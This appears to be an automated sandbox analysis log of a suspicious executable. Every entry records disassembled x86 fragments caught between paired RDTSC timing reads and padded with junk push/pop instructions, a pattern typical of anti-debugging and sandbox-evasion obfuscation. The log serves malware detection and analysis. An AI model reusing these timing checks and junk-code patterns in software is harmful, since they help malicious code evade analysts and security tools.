Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 461FE8 second address: 46200A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8EFh 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F25EC6CB8E6h 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46200A second address: 46200E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46200E second address: 462047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F25EC6CB8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jne 00007F25EC6CB8FEh 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462047 second address: 462068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46219B second address: 46219F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46219F second address: 4621A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4648ED second address: 46491B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F25EC6CB8F3h 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop ecx 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46491B second address: 46491F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46498C second address: 4649C1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F25EC6CB8E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, 43E90145h 0x00000014 push 00000000h 0x00000016 mov edi, dword ptr [ebp+122D1E0Bh] 0x0000001c mov edi, dword ptr [ebp+122D2A39h] 0x00000022 call 00007F25EC6CB8E9h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edx 0x0000002a jl 00007F25EC6CB8E6h 0x00000030 pop edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4649C1 second address: 464A06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F25ED41A9ECh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F25ED41A9F7h 0x00000012 jmp 00007F25ED41A9F1h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jmp 00007F25ED41A9F0h 0x00000020 mov eax, dword ptr [eax] 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464AD7 second address: 464ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464ADB second address: 464B02 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F25ED41A9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F25ED41A9E6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007F25ED41A9ECh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464B02 second address: 464B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F25EC6CB8F2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F25EC6CB8EDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464B2D second address: 464B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464B50 second address: 464B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464C55 second address: 464CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 xor dword ptr [esp], 3F58D681h 0x0000000b mov dword ptr [ebp+122D34B7h], esi 0x00000011 push 00000003h 0x00000013 push edi 0x00000014 mov edx, eax 0x00000016 pop edx 0x00000017 push 00000000h 0x00000019 cmc 0x0000001a push 00000003h 0x0000001c or edx, dword ptr [ebp+122D28CDh] 0x00000022 push BD5C10E0h 0x00000027 ja 00007F25ED41A9FCh 0x0000002d jmp 00007F25ED41A9F6h 0x00000032 add dword ptr [esp], 02A3EF20h 0x00000039 mov ecx, 39883721h 0x0000003e lea ebx, dword ptr [ebp+12456826h] 0x00000044 or dword ptr [ebp+122D3725h], edi 0x0000004a xchg eax, ebx 0x0000004b pushad 0x0000004c jbe 00007F25ED41A9ECh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464DB7 second address: 464DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464DBD second address: 464DCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464DCA second address: 464E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8EBh 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F25EC6CB8F1h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jne 00007F25EC6CB8F0h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F25EC6CB8F2h 0x00000025 pop eax 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F25EC6CB8E8h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 jo 00007F25EC6CB8ECh 0x00000046 mov edx, dword ptr [ebp+122D2959h] 0x0000004c push ecx 0x0000004d pop esi 0x0000004e push 00000003h 0x00000050 sub dword ptr [ebp+122D1802h], ecx 0x00000056 push 00000000h 0x00000058 movzx edx, si 0x0000005b push 00000003h 0x0000005d add dword ptr [ebp+122D180Bh], edx 0x00000063 mov dh, bl 0x00000065 push 87B38EF1h 0x0000006a pushad 0x0000006b ja 00007F25EC6CB8E8h 0x00000071 push eax 0x00000072 push edx 0x00000073 jo 00007F25EC6CB8E6h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477928 second address: 47792E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47792E second address: 477938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F25EC6CB8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483AE8 second address: 483AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483AEE second address: 483AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483C53 second address: 483C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F25ED41A9E6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483C61 second address: 483C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnl 00007F25EC6CB8E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483C72 second address: 483C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483DDD second address: 483DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483F62 second address: 483F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483F66 second address: 483F72 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F25EC6CB8E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483F72 second address: 483F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F25ED41A9F4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483F8C second address: 483F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484252 second address: 484257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484257 second address: 484267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jl 00007F25EC6CB8E6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484267 second address: 484273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F25ED41A9E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484273 second address: 484281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484281 second address: 484285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484285 second address: 484289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484289 second address: 4842B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F25ED41A9F3h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484594 second address: 484598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 484598 second address: 4845A8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jl 00007F25ED41A9E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4845A8 second address: 4845B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F25EC6CB8EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48473D second address: 48475F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9ECh 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F25ED41A9E6h 0x00000011 jmp 00007F25ED41A9EAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4848AA second address: 4848AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4848AE second address: 4848B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4853D2 second address: 4853E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F25EC6CB8F0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485942 second address: 485952 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F25ED41A9E8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485952 second address: 485956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485956 second address: 48595A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48595A second address: 485968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485968 second address: 48596E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48596E second address: 485972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485972 second address: 485992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 485992 second address: 485996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48809D second address: 4880A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880A1 second address: 4880C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F25EC6CB8F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880C0 second address: 4880C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B921 second address: 48B939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnl 00007F25EC6CB8E6h 0x0000000f jnp 00007F25EC6CB8E6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B939 second address: 48B943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F25ED41A9E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490E36 second address: 490E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490E42 second address: 490E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490E48 second address: 490E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44CDBA second address: 44CDC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490292 second address: 4902C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F25EC6CB90Bh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4902C6 second address: 4902CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49069B second address: 4906A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4906A3 second address: 4906F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F25ED41A9F6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F25ED41A9F4h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F25ED41A9EEh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jc 00007F25ED41AA0Fh 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490A5C second address: 490A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490CC4 second address: 490CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490CC8 second address: 490CCE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4918D5 second address: 4918D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491B4D second address: 491B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F25EC6CB8ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4921D4 second address: 4921D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4921D8 second address: 4921F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F25EC6CB8ECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4924BE second address: 4924C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4924C3 second address: 4924C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4934E4 second address: 4934E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495B75 second address: 495BB4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F25EC6CB8E8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 mov esi, dword ptr [ebp+122D2B75h] 0x00000027 push 00000000h 0x00000029 or dword ptr [ebp+122D187Ah], ecx 0x0000002f push 00000000h 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 push edi 0x00000035 jl 00007F25EC6CB8E6h 0x0000003b pop edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495BB4 second address: 495BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495BBA second address: 495BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495BBE second address: 495BC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496344 second address: 496366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 497B47 second address: 497B63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F25ED41A9ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C457 second address: 49C478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007F25EC6CB8E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F25EC6CB8EDh 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C478 second address: 49C47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C47C second address: 49C480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA5D second address: 49EA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49EA64 second address: 49EABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F25EC6CB8F3h 0x0000000f nop 0x00000010 jmp 00007F25EC6CB8F1h 0x00000015 push 00000000h 0x00000017 movzx ebx, si 0x0000001a push 00000000h 0x0000001c movzx edi, ax 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 jmp 00007F25EC6CB8EDh 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49DC4F second address: 49DC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25ED41A9F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FBF2 second address: 49FC02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F25EC6CB8E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49FC02 second address: 49FC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
